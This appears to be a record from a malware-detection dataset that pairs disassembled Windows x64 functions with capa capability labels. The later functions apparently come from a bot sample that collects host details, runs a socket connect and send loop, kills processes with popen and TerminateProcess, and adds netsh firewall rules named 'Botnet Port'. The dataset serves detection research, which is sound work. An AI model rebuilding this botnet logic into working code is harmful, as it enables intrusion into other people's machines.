joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1401b81d4
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.1401adf10
sub rsp, rax
mov rax, qword [0x1402878c8]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r14, rdx
mov rbx, rcx
call fcn.1401c59f4
xor esi, esi
movsxd r12, eax
cmp dword [rbx + 0x10], esi
jne 0x1401b8228
mov rax, r14
jmp 0x1401b8342
mov rax, qword [rbx]
mov rdi, r12
sub rax, qword [rbx + 8]
xor r8d, r8d
cqo
sar rdi, 6
sub rax, rdx
mov rbx, r12
sar rax, 1
and ebx, 0x3f
mov r15, rax
shl rbx, 6
lea rax, [0x140000000]
mov ecx, r12d
mov rdx, qword [rax + rdi*8 + 0x298a90]
mov rbp, r12
mov rdx, qword [rbx + rdx + 0x30]
call fcn.1401cbbac
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rdi*8 + 0x298a90]
cmp r13, qword [rbx + rcx + 0x30]
je 0x1401b828f
or rax, 0xffffffffffffffff
jmp 0x1401b8342
mov rcx, rbp
mov qword [rsp + 0x20], rsi
sar rcx, 6
lea r9, [rsp + 0x30]
and ebp, 0x3f
lea rdx, [rsp + 0x40]
shl rbp, 6
mov r8d, 0x1000
mov rcx, qword [rax + rcx*8 + 0x298a90]
mov rcx, qword [rcx + rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1401b8286
xor r8d, r8d
mov rdx, r14
mov ecx, r12d
call fcn.1401cbbac
test rax, rax
js 0x1401b8286
mov eax, dword [rsp + 0x30]
cmp r15, rax
jg 0x1401b8286
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test r15, r15
je 0x1401b8336
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x1401b8336
cmp byte [rcx], 0xd
jne 0x1401b831c
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x1401b832b
cmp byte [rcx + 1], 0xa
jne 0x1401b832b
inc rcx
jmp 0x1401b832b
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x287bf0]
add rcx, rax
inc rsi
inc rcx
cmp rsi, r15
jne 0x1401b82fe
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.1401adf80
lea r11, [rsp + 0x1050]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x1401caa28
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r10, [0x140298a90]
mov r14, rdx
mov rax, r15
sar rax, 6
mov rdx, r15
and edx, 0x3f
mov rdi, r15
shl rdx, 6
mov r9, qword [r10 + rax*8]
mov r12, qword [r9 + rdx + 0x28]
test r8, r8
je 0x1401caa8d
cmp byte [r14], 0xa
jne 0x1401caa8d
mov rcx, r15
mov rax, r15
sar rax, 6
and ecx, 0x3f
shl rcx, 6
mov rax, qword [r10 + rax*8]
or byte [rax + rcx + 0x38], 4
jmp 0x1401caaae
mov dl, byte [r9 + rdx + 0x38]
mov rcx, rdi
and dl, 0xfb
mov rax, rdi
sar rax, 6
and ecx, 0x3f
shl rcx, 6
mov rax, qword [r10 + rax*8]
mov byte [rax + rcx + 0x38], dl
lea rbp, [r14 + r8]
mov rsi, r14
mov rbx, r14
cmp r14, rbp
jae 0x1401cac08
mov r13d, 1
mov al, byte [rsi]
cmp al, 0x1a
je 0x1401cabc8
cmp al, 0xd
je 0x1401caae2
mov byte [rbx], al
add rbx, r13
add rsi, r13
jmp 0x1401cabbd
lea rax, [rsi + 1]
cmp rax, rbp
jae 0x1401cab08
cmp byte [rax], 0xa
jne 0x1401caafa
mov byte [rbx], 0xa
mov eax, 2
jmp 0x1401cab00
mov byte [rbx], 0xd
mov rax, r13
add rsi, rax
jmp 0x1401cabba
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x78]
mov r8d, r13d
lea rdx, [rsp + 0x70]
mov rcx, r12
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1401cabb0
cmp dword [rsp + 0x78], 0
je 0x1401cabb0
mov rcx, rdi
lea r10, [0x140298a90]
and ecx, 0x3f
mov rax, rdi
sar rax, 6
shl rcx, 6
mov rax, qword [r10 + rax*8]
test byte [rax + rcx + 0x38], 0x48
je 0x1401cab80
mov dl, byte [rsp + 0x70]
cmp dl, 0xa
je 0x1401cab8c
mov rcx, rdi
mov byte [rbx], 0xd
mov rax, rdi
and ecx, 0x3f
sar rax, 6
shl rcx, 6
mov rax, qword [r10 + rax*8]
mov byte [rax + rcx + 0x3a], dl
jmp 0x1401cabba
cmp byte [rsp + 0x70], 0xa
jne 0x1401cab91
cmp rbx, r14
jne 0x1401cab91
mov byte [rbx], 0xa
jmp 0x1401cabba
mov r8d, r13d
or rdx, 0xffffffffffffffff
mov ecx, r15d
call fcn.1401cbbb4
cmp byte [rsp + 0x70], 0xa
lea r10, [0x140298a90]
je 0x1401cabbd
jmp 0x1401cabb7
lea r10, [0x140298a90]
mov byte [rbx], 0xd
add rbx, r13
cmp rsi, rbp
jb 0x1401caac7
jmp 0x1401cac08
mov rcx, rdi
mov rax, rdi
sar rax, 6
and ecx, 0x3f
shl rcx, 6
mov rax, qword [r10 + rax*8]
mov dl, byte [rax + rcx + 0x38]
test dl, 0x40
jne 0x1401cac01
mov rax, rdi
or dl, 2
sar rax, 6
and edi, 0x3f
shl rdi, 6
mov rax, qword [r10 + rax*8]
mov byte [rax + rdi + 0x38], dl
jmp 0x1401cac08
mov cl, byte [rsi]
mov byte [rbx], cl
add rbx, r13
sub rbx, r14
mov eax, ebx
mov rbx, qword [rsp + 0x80]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1401cac28
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r11, [0x140298a90]
mov r9, r15
mov rax, r15
sar rax, 6
and r9d, 0x3f
shl r9, 6
mov r14, rdx
mov rdi, r15
mov r10d, 0xa
mov rdx, qword [r11 + rax*8]
mov r12, qword [rdx + r9 + 0x28]
test r8, r8
je 0x1401cac94
cmp word [r14], r10w
jne 0x1401cac94
mov rcx, r15
mov rax, r15
sar rax, 6
and ecx, 0x3f
shl rcx, 6
mov rax, qword [r11 + rax*8]
or byte [rax + rcx + 0x38], 4
jmp 0x1401cacb5
mov dl, byte [rdx + r9 + 0x38]
mov rcx, rdi
and dl, 0xfb
mov rax, rdi
sar rax, 6
and ecx, 0x3f
shl rcx, 6
mov rax, qword [r11 + rax*8]
mov byte [rax + rcx + 0x38], dl
lea rbp, [r14 + r8*2]
mov rsi, r14
mov rbx, r14
cmp r14, rbp
jae 0x1401cae8e
mov ecx, InitCommonControls
lea r13d, [rcx - 0xb]
movzx eax, word [rsi]
cmp ax, 0x1a
je 0x1401cae4c
cmp ax, cx
je 0x1401cacf1
mov word [rbx], ax
add rbx, r13
add rsi, r13
jmp 0x1401cade5
lea rax, [rsi + 2]
cmp rax, rbp
jae 0x1401cad19
cmp word [rax], r10w
jne 0x1401cad0b
mov word [rbx], r10w
mov eax, 4
jmp 0x1401cad11
mov word [rbx], cx
mov rax, r13
add rsi, rax
jmp 0x1401cae2f
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x80]
mov r8d, r13d
lea rdx, [rsp + 0x70]
mov rcx, r12
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1401cae34
cmp dword [rsp + 0x80], 0
je 0x1401cae34
mov rcx, rdi
lea r11, [0x140298a90]
and ecx, 0x3f
mov rax, rdi
sar rax, 6
mov r10d, 0xa
shl rcx, 6
mov rax, qword [r11 + rax*8]
test byte [rax + rcx + 0x38], 0x48
je 0x1401cadf3
movzx eax, word [rsp + 0x70]
cmp ax, r10w
jne 0x1401cad8b
mov word [rbx], r10w
jmp 0x1401caddd
mov r8, rdi
mov word [rsp + 0x78], ax
mov r9, rdi
and r8d, 0x3f
sar r9, 6
mov ecx, InitCommonControls
xor edx, edx
mov word [rbx], cx
shl r8, 6
mov rcx, qword [r11 + r9*8]
mov al, byte [rsp + rdx + 0x78]
add rcx, r8
mov byte [rcx + rdx + 0x3a], al
inc rdx
cmp rdx, r13
jl 0x1401cadac
mov rcx, rdi
mov rax, rdi
sar rax, 6
and ecx, 0x3f
shl rcx, 6
mov rax, qword [r11 + rax*8]
mov byte [rax + rcx + 0x3c], r10b
add rbx, r13
mov ecx, InitCommonControls
cmp rsi, rbp
jb 0x1401cacd1
jmp 0x1401cae8e
cmp word [rsp + 0x70], r10w
jne 0x1401cae00
cmp rbx, r14
je 0x1401cad85
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.1401cbbb4
mov r10d, 0xa
lea r11, [0x140298a90]
cmp word [rsp + 0x70], r10w
je 0x1401cade0
lea ecx, [r10 + 3]
mov word [rbx], cx
add rbx, r13
jmp 0x1401cade5
mov ecx, InitCommonControls
lea r11, [0x140298a90]
mov word [rbx], cx
add rbx, r13
lea r10d, [rcx - 3]
jmp 0x1401cade5
mov rcx, rdi
mov rax, rdi
sar rax, 6
and ecx, 0x3f
shl rcx, 6
mov rax, qword [r11 + rax*8]
mov dl, byte [rax + rcx + 0x38]
test dl, 0x40
jne 0x1401cae85
mov rax, rdi
or dl, r13b
sar rax, 6
and edi, 0x3f
shl rdi, 6
mov rax, qword [r11 + rax*8]
mov byte [rax + rdi + 0x38], dl
jmp 0x1401cae8e
movzx ecx, word [rsi]
mov word [rbx], cx
add rbx, r13
sub rbx, r14
sar rbx, 1
lea rax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x14001f180]
mov dword [rax], 1
mov rax, qword [0x14001f190]
mov dword [rax], 1
mov rax, qword [0x14001f1a0]
mov dword [rax], 1
mov rax, qword [0x14001f140]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140001920
Capabilities:
Initialize winsock library

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x1c8
mov ecx, 0x202
lea rdx, [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_WSAStartup]
call sub.libwolfssl.dll_wolfSSL_Init
cmp eax, 1
je 0x140001955
lea rcx, str.wolfSSL_Init
call fcn.140001a60
lea rdx, [0x1400016d0]
mov ecx, 0x16
lea r12, str.Connecting...
call sub.api_ms_win_crt_runtime_l1_1_0.dll_signal
lea rbx, str.Failed_to_open_connection
lea r13, str.Failed_to_read_packet
call fcn.1400098e0
lea rbp, str.Disconnected...
call fcn.140009900
call fcn.140009bc0
mov rcx, qword [0x1400250a0]
call fcn.140009f30
call fcn.1400044b0
call fcn.1400047f0
nop word [rax + rax]
mov rcx, r12
call fcn.140001a40
jmp 0x1400019d2
mov rcx, rbx
call fcn.140001a40
mov ecx, 0x1e
call fcn.14000e050
call fcn.140003ec0
test eax, eax
je 0x1400019c0
call fcn.140003eb0
cmp byte [rax + 8], 0
mov rsi, rax
jne 0x140001a38
call fcn.140004370
mov rdi, rax
test rax, rax
je 0x140001a2d
mov rcx, rax
call fcn.1400016f0
cmp byte [rsi + 8], 0
je 0x1400019e9
mov rcx, rdi
call fcn.1400030f0
mov rcx, rbp
call fcn.140001a40
mov rcx, rsi
call fcn.140003e60
call fcn.140004790
mov ecx, 0x1e
call fcn.14000e050
jmp 0x1400019b0
mov rcx, r13
call fcn.140001a40
nop dword [rax]
xor edi, edi
jmp 0x140001a04
Function at 0x140001a80
Capabilities:
Get hostname
Get system information on windows
Query environment variable

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x158
mov ecx, 0x38
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
lea rbx, [rsp + 0x50]
mov edx, 0x100
mov rdi, rax
lea rax, str.unknown
mov rcx, rbx
mov qword [rdi], rax
call qword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
je 0x140001ba8
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x40]
lea rcx, str.USERNAME
mov dword [rdi + 0x28], eax
call sub.api_ms_win_crt_environment_l1_1_0.dll_getenv
lea rdx, str.unknown
lea rcx, str.Windows
test rax, rax
cmove rax, rdx
mov qword [rdi + 8], rax
call fcn.14000e4c0
lea rcx, str.AMD64
mov qword [rdi + 0x10], rax
mov rsi, rax
call fcn.14000e4c0
movsx ecx, byte [rsi]
mov qword [rdi + 0x18], rax
mov rbx, rax
test cl, cl
je 0x140001b4a
mov rbp, qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
mov ebx, 1
nop word cs:[rax + rax]
call rbp
mov byte [rsi], al
mov rsi, qword [rdi + 0x10]
add rsi, rbx
add rbx, 1
movsx ecx, byte [rsi]
test cl, cl
jne 0x140001b30
mov rbx, qword [rdi + 0x18]
movsx ecx, byte [rbx]
mov rbp, qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
mov esi, 1
test cl, cl
je 0x140001b76
nop dword [rax]
call rbp
mov byte [rbx], al
mov rbx, qword [rdi + 0x18]
add rbx, rsi
add rsi, 1
movsx ecx, byte [rbx]
test cl, cl
jne 0x140001b60
mov rcx, qword [str.unknown]
call fcn.14000e4c0
lea rcx, str.1.0.0
mov qword [rdi + 0x20], rax
call fcn.14000e4c0
mov qword [rdi + 0x30], rax
mov rax, rdi
add rsp, 0x158
pop rbx
pop rsi
pop rdi
pop rbp
ret
mov rcx, rbx
call fcn.14000e4c0
mov qword [rdi], rax
jmp 0x140001abd
Function at 0x140002c70
Capabilities:
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
lea rax, [rax + rax*4]
lea rcx, [rax + rax + 1]
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov qword [rsp + 0x28], rax
mov rsi, rax
test rax, rax
je 0x140002e07
movzx eax, byte [rbx]
lea r13, [0x14001c43c]
test al, al
jne 0x140002cd4
jmp 0x140002db0
mov byte [rsi], al
mov rbx, r12
add rsi, 1
movzx eax, byte [rbx]
test al, al
je 0x140002db0
lea r12, [rbx + 1]
cmp al, 0x25
jne 0x140002cc0
mov edx, 0x25
mov rcx, r12
call sub.api_ms_win_crt_private_l1_1_0.dll_strchr
mov rbp, rax
test rax, rax
je 0x140002dd0
mov r15, rax
sub r15, rbx
mov rcx, r15
lea r14, [r15 - 1]
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rdi, rax
test rax, rax
je 0x140002df2
mov rdx, r12
mov rcx, rax
mov r8, r14
call sub.api_ms_win_crt_string_l1_1_0.dll_strncpy
mov byte [rdi + r15 - 1], 0
lea rdx, str.RAND
mov rcx, rdi
call sub.api_ms_win_crt_private_l1_1_0.dll_strstr
test rax, rax
je 0x140002dd0
lea rcx, [rdi + 5]
mov rdx, r13
call sub.api_ms_win_crt_string_l1_1_0.dll_strtok
mov r15, rax
test rax, rax
je 0x140002de0
mov rdx, r13
xor ecx, ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_strtok
mov r8d, 0x10
test rax, rax
je 0x140002d7f
mov r8d, 0xa
xor edx, edx
mov rcx, rax
call sub.api_ms_win_crt_convert_l1_1_0.dll_strtol
movsxd r8, eax
mov rcx, rsi
mov r9, rdi
lea rbx, [rbp + 1]
mov rdx, r15
call fcn.1400025d0
mov rcx, rdi
mov rsi, rax
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
movzx eax, byte [rbx]
test al, al
jne 0x140002cd4
nop word [rax + rax]
mov byte [rsi], 0
mov rax, qword [rsp + 0x28]
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov byte [rsi], 0x25
mov rbx, r12
add rsi, 1
jmp 0x140002cc9
movzx eax, byte [rbx]
add rsi, 1
mov rbx, r12
mov byte [rsi - 1], al
jmp 0x140002cc9
mov rcx, qword [rsp + 0x28]
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov qword [rsp + 0x28], 0
jmp 0x140002db3
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8d, 0x19
mov edx, 1
lea rcx, str.Memory_allocation_failed_n
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
jmp 0x140002dfc

Function at 0x140002f70
Capabilities:
Send data
Send data on socket

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rcx
mov ecx, edx
call qword [sym.imp.WS2_32.dll_htonl]
lea rdx, [rsp + 0x2c]
xor r9d, r9d
mov rcx, rbx
mov dword [rsp + 0x2c], eax
mov r8d, 4
call qword [sym.imp.WS2_32.dll_send]
cdqe
add rsp, 0x30
pop rbx
ret

Function at 0x140002fb0
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub rsp, 0x38
xor r9d, r9d
mov r8d, 4
lea rdx, [rsp + 0x2c]
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
jne 0x140002fe0
mov ecx, dword [rsp + 0x2c]
call qword [sym.imp.WS2_32.dll_ntohl]
add rsp, 0x38
ret
mov eax, 0xffffffff
jmp 0x140002fd7
Function at 0x140002ff0
Capabilities:
Send data
Send data on socket

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
mov rcx, rdx
mov rsi, rdx
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov ecx, eax
mov rdi, rax
call qword [sym.imp.WS2_32.dll_htonl]
lea rdx, [rsp + 0x2c]
xor r9d, r9d
mov rcx, rbx
mov dword [rsp + 0x2c], eax
mov rbp, qword [sym.imp.WS2_32.dll_send]
mov r8d, 4
call rbp
mov edx, eax
xor eax, eax
test edx, edx
je 0x14000304e
xor r9d, r9d
mov r8d, edi
mov rdx, rsi
mov rcx, rbx
call rbp
cmp eax, 0xffffffff
setne al
movzx eax, al
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x140003060
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x38
xor r9d, r9d
mov rbp, qword [sym.imp.WS2_32.dll_recv]
mov r8d, 4
mov rdi, rcx
lea rdx, [rsp + 0x2c]
call rbp
cmp eax, 4
jne 0x1400030e0
mov ecx, dword [rsp + 0x2c]
call qword [sym.imp.WS2_32.dll_ntohl]
movsxd rbx, eax
cmp ebx, 0xffffffff
je 0x1400030e0
lea ecx, [rbx + 1]
movsxd rcx, ecx
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
xor r9d, r9d
mov r8d, ebx
mov rcx, rdi
mov rsi, rax
mov rdx, rax
call rbp
cmp eax, 0xffffffff
je 0x1400030d0
mov byte [rsi + rbx], 0
mov rax, rsi
add rsp, 0x38
pop rbx
pop rsi
pop rdi
pop rbp
ret
mov rcx, rsi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
nop dword [rax + rax]
xor esi, esi
jmp 0x1400030be

Function at 0x140003e60
Capabilities:
Hijack thread execution

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
je 0x140003e79
cmp qword [rcx], 0xffffffffffffffff
je 0x140003e79
cmp byte [rcx + 8], 0
je 0x140003e80
add rsp, 0x20
pop rbx
ret
lea rcx, str.Info_Closing_connection
call fcn.140001a40
mov rcx, qword [rbx]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rbx + 0x18]
mov byte [rbx + 8], 1
add rsp, 0x20
pop rbx
jmp fcn.140011225
Function at 0x1400055c0
Capabilities:
Send data
Send data on socket

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x60
mov esi, ecx
mov ecx, 0x4b0
mov rdi, rdx
mov rbp, r8
mov r12d, r9d
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rbx, rax
test rax, rax
je 0x140005660
movdqu xmm0, xmmword [rdi]
lea rcx, [rsp + 0x30]
mov rdx, rax
movaps xmmword [rsp + 0x30], xmm0
movdqu xmm1, xmmword [rdi + 0x10]
movaps xmmword [rsp + 0x40], xmm1
movdqu xmm2, xmmword [rdi + 0x20]
movaps xmmword [rsp + 0x50], xmm2
call fcn.140004ec0
movsxd rcx, esi
mov dword [rsp + 0x28], r12d
xor r9d, r9d
mov qword [rsp + 0x20], rbp
mov edi, eax
mov r8d, eax
mov rdx, rbx
call qword [sym.imp.WS2_32.dll_sendto]
mov rcx, rbx
test eax, eax
js 0x140005648
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov eax, edi
add rsp, 0x60
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
lea rcx, str.sendto
call sub.api_ms_win_crt_runtime_l1_1_0.dll_perror
mov edi, 0xffffffff
jmp 0x14000563b
lea rcx, [0x14001dc12]
call sub.api_ms_win_crt_runtime_l1_1_0.dll_perror
jmp 0x140005659
Function at 0x140006dd0
Capabilities:
Connect socket

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xa0
mov rsi, rcx
test rcx, rcx
je 0x140006f14
mov ecx, 0x10
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
cmp byte [rsi + 0x41], 1
mov edx, 1
sbb ecx, ecx
mov byte [rax + 4], 0
mov rbx, rax
xor r8d, r8d
and ecx, 0xffffffeb
mov dword [rax], 0
mov qword [rax + 8], 0
add ecx, 0x17
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
mov r12d, eax
test eax, eax
js 0x140006f20
mov r13, qword [rsi]
mov rcx, qword [r13 + 8]
call fcn.14000e4c0
lea rdx, str.https
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
mov rcx, qword [r13 + 0x20]
movzx r14d, byte [rsi + 0x41]
mov ebp, eax
test rcx, rcx
jne 0x140006ec0
cmp eax, 1
sbb r8d, r8d
and r8d, 0x16b
add r8d, 0x50
mov rdx, qword [rsi + 0x48]
lea rsi, [rsp + 0x20]
mov r9d, r14d
mov rcx, rsi
call fcn.1400073e0
mov r8d, eax
lea eax, [rax - 1]
cmp eax, 0x7f
ja 0x140006f04
movsxd rcx, edi
mov rdx, rsi
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
js 0x140006ef8
test ebp, ebp
je 0x140006ed8
mov dword [rbx], edi
mov rax, rbx
add rsp, 0xa0
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov r8d, 0xa
xor edx, edx
call sub.api_ms_win_crt_convert_l1_1_0.dll_strtol
movzx r8d, ax
jmp 0x140006e70
mov ecx, r12d
call fcn.140006ce0
test rax, rax
je 0x140006f04
mov dword [rbx], edi
mov byte [rbx + 4], 1
mov qword [rbx + 8], rax
jmp 0x140006ea5
lea rcx, str.connect
call fcn.140001a60
mov ecx, r12d
call sub.api_ms_win_crt_stdio_l1_1_0.dll__close
mov rcx, rbx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
xor ebx, ebx
jmp 0x140006ea5
lea rcx, [0x14001dee6]
call fcn.140001a60
mov rcx, rbx
xor ebx, ebx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
jmp 0x140006ea5
Function at 0x140009a10
Capabilities:
Execute command
Terminate process

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xc8
lea r8, str.lsof__t__i:_d
mov edx, 0x10
lea rbp, [rsp + 0x30]
mov r9d, ecx
mov ebx, ecx
mov rcx, rbp
call fcn.14000e130
lea rdx, [0x14001e8ae]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov r8, rax
test rax, rax
je 0x140009bb2
lea rsi, [rsp + 0x40]
mov edx, 0x10
mov rcx, rsi
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fgets
test rax, rax
je 0x140009b8a
lea rdx, [0x14001e8cb]
mov rcx, rsi
call sub.api_ms_win_crt_string_l1_1_0.dll_strcspn
mov r8d, 0xa
xor edx, edx
mov rcx, rsi
mov byte [rsp + rax + 0x40], 0
call sub.api_ms_win_crt_convert_l1_1_0.dll_strtol
mov r8d, eax
cmp eax, 0xffffffff
je 0x140009b8a
xor edx, edx
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140009b8a
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
test eax, eax
je 0x140009ba0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140009b8a
mov eax, 2
movzx ecx, bx
mov word [rsp + 0x30], ax
call qword [sym.imp.WS2_32.dll_htons]
xor ecx, ecx
mov word [rsp + 0x32], ax
call qword [sym.imp.WS2_32.dll_htonl]
mov r8d, 0x10
mov rdx, rbp
mov rcx, rdi
mov dword [rsp + 0x34], eax
call qword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x140009b8a
mov edx, 1
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
je 0x140009b8a
mov dword [rsp + 0x20], ebx
mov r9d, ebx
mov edx, pe_nt_image_headers64
mov rcx, rsi
lea r8, str.netsh_advfirewall_firewall_add_rule_name_Botnet_Port__d__dirin_actionblock_protocolTCP_localport_d
call fcn.14000e130
mov rcx, rsi
call fcn.14000e5f8
mov dword [rsp + 0x20], ebx
mov rcx, rsi
mov r9d, ebx
lea r8, str.netsh_advfirewall_firewall_add_rule_name_Botnet_Port__d__dirout_actionblock_protocolTCP_localport_d
mov edx, pe_nt_image_headers64
call fcn.14000e130
mov rcx, rsi
call fcn.14000e5f8
nop
add rsp, 0xc8
pop rbx
pop rsi
pop rdi
pop rbp
ret
add rsp, 0xc8
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Failed_to_execute_command.
call sub.api_ms_win_crt_stdio_l1_1_0.dll_puts
jmp 0x140009b8a